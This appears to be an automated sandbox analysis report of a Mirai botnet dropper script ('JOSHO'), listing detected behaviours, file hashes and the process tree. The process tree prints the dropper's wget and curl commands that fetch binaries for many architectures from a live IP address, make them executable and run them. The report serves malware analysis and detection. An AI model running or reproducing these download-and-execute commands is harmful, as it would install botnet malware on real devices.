Analysis

  • max time kernel
    139s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/11/2024, 03:31

General

  • Target
    9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
  • Size 1KB
  • Sample241103-d3grlstema
  • SHA256 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • JOSHO

Extracted

Family
  • mirai

Botnet
  • JOSHO

Extracted

Family
  • mirai

Botnet
  • JOSHO

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 8 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 20 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
    /tmp/9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
    1⤵
    • Writes file to tmp directory
    PID:657
    • /usr/bin/wget
      wget http://95.164.4.65/AB4g5/Josho.x86
      2⤵
      • Writes file to tmp directory
      PID:662
    • /usr/bin/curl
      curl -O http://95.164.4.65/AB4g5/Josho.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:679
    • /bin/cat
      cat Josho.x86
      2⤵
        PID:688
      • /bin/chmod
        chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
        2⤵
        • File and Directory Permissions Modification
        PID:689
      • /tmp/3AvA
        ./3AvA ssh
        2⤵
        • Executes dropped EXE
        PID:690
      • /usr/bin/wget
        wget http://95.164.4.65/AB4g5/Josho.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:693
      • /usr/bin/curl
        curl -O http://95.164.4.65/AB4g5/Josho.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:694
      • /bin/cat
        cat Josho.mips
        2⤵
        • System Network Configuration Discovery
        PID:699
      • /bin/chmod
        chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.mips Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
        2⤵
        • File and Directory Permissions Modification
        PID:700
      • /tmp/3AvA
        ./3AvA ssh
        2⤵
        • Executes dropped EXE
        PID:702
      • /usr/bin/wget
        wget http://95.164.4.65/AB4g5/Josho.mpsl
        2⤵
        • Writes file to tmp directory
        PID:705
      • /usr/bin/curl
        curl -O http://95.164.4.65/AB4g5/Josho.mpsl
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:712
      • /bin/cat
        cat Josho.mpsl
        2⤵
          PID:720
        • /bin/chmod
          chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.mips Josho.mpsl Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
          2⤵
          • File and Directory Permissions Modification
          PID:721
        • /tmp/3AvA
          ./3AvA ssh
          2⤵
          • Executes dropped EXE
          PID:723
        • /usr/bin/wget
          wget http://95.164.4.65/AB4g5/Josho.arm4
          2⤵
            PID:726
          • /usr/bin/curl
            curl -O http://95.164.4.65/AB4g5/Josho.arm4
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:737
          • /bin/cat
            cat Josho.arm4
            2⤵
              PID:747
            • /bin/chmod
              chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.mips Josho.mpsl Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
              2⤵
              • File and Directory Permissions Modification
              PID:748
            • /tmp/3AvA
              ./3AvA ssh
              2⤵
              • Executes dropped EXE
              PID:750
            • /usr/bin/wget
              wget http://95.164.4.65/AB4g5/Josho.arm5
              2⤵
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://95.164.4.65/AB4g5/Josho.arm5
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:758
            • /bin/cat
              cat Josho.arm5
              2⤵
                PID:759
              • /bin/chmod
                chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.mips Josho.mpsl Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
                2⤵
                • File and Directory Permissions Modification
                PID:760
              • /tmp/3AvA
                ./3AvA ssh
                2⤵
                • Executes dropped EXE
                PID:761
              • /usr/bin/wget
                wget http://95.164.4.65/AB4g5/Josho.arm6
                2⤵
                • Writes file to tmp directory
                PID:762
              • /usr/bin/curl
                curl -O http://95.164.4.65/AB4g5/Josho.arm6
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:767
              • /bin/cat
                cat Josho.arm6
                2⤵
                  PID:774
                • /bin/chmod
                  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.mips Josho.mpsl Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
                  2⤵
                  • File and Directory Permissions Modification
                  PID:776
                • /tmp/3AvA
                  ./3AvA ssh
                  2⤵
                  • Executes dropped EXE
                  PID:778
                • /usr/bin/wget
                  wget http://95.164.4.65/AB4g5/Josho.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:779
                • /usr/bin/curl
                  curl -O http://95.164.4.65/AB4g5/Josho.arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:788
                • /bin/cat
                  cat Josho.arm7
                  2⤵
                    PID:802
                  • /bin/chmod
                    chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.mips Josho.mpsl Josho.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:803
                  • /tmp/3AvA
                    ./3AvA ssh
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Changes its process name
                    PID:804
                  • /usr/bin/wget
                    wget http://95.164.4.65/AB4g5/Josho.ppc
                    2⤵
                    • Writes file to tmp directory
                    PID:807
                  • /usr/bin/curl
                    curl -O http://95.164.4.65/AB4g5/Josho.ppc
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:811
                  • /bin/chmod
                    chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.mips Josho.mpsl Josho.ppc Josho.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:813
                  • /tmp/3AvA
                    ./3AvA ssh
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Changes its process name
                    PID:814
                  • /usr/bin/wget
                    wget http://95.164.4.65/AB4g5/Josho.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:817
                  • /usr/bin/curl
                    curl -O http://95.164.4.65/AB4g5/Josho.m68k
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:819
                  • /bin/chmod
                    chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.m68k Josho.mips Josho.mpsl Josho.ppc Josho.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:821
                  • /tmp/3AvA
                    ./3AvA ssh
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Changes its process name
                    PID:822
                  • /usr/bin/wget
                    wget http://95.164.4.65/AB4g5/Josho.sh4
                    2⤵
                    • Writes file to tmp directory
                    PID:826
                  • /usr/bin/curl
                    curl -O http://95.164.4.65/AB4g5/Josho.sh4
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:827
                  • /bin/chmod
                    chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.m68k Josho.mips Josho.mpsl Josho.ppc Josho.sh4 Josho.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:829
                  • /tmp/3AvA
                    ./3AvA ssh
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Changes its process name
                    PID:830

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      3AvA

                      • Path /tmp/3AvA
                      • Size 67KB
                      • SHA256 4bee1419ae6dcdee90de4ba370577d2713743d4a472eb2b1332340cef1422662
                      • MD5 SHA1 SHA512 SSDEEP

                      3AvA

                      • Path /tmp/3AvA
                      • Size 70KB
                      • SHA256 3d0c1001389a6b3580bc477d8dd1e68f0b94a6129d6b5beda6d454d927c4422a
                      • MD5 SHA1 SHA512 SSDEEP

                      3AvA

                      • Path /tmp/3AvA
                      • Size 273B
                      • SHA256 e1a584ae665c789448ddba3b2bf07c27e2534015652877a7a11b43fa65ceb66a
                      • MD5 SHA1 SHA512

                      3AvA

                      • Path /tmp/3AvA
                      • Size 49KB
                      • SHA256 77566591c92e1a5fcb39640c0baac39c64e3f4a8edbfbea2d460d6e0e9a012b9
                      • MD5 SHA1 SHA512 SSDEEP

                      3AvA

                      • Path /tmp/3AvA
                      • Size 127KB
                      • SHA256 1094058dedfd00ae067f0b452f180bc30e39615a69e65caf736983aaeb416ec3
                      • MD5 SHA1 SHA512 SSDEEP

                      Josho.x86

                      • Path /tmp/Josho.x86
                      • Size 47KB
                      • SHA256 4308ed406a8de64eb3ca4e6accc27d10794e960a4631590cab569cf734f3d3e9
                      • MD5 SHA1 SHA512 SSDEEP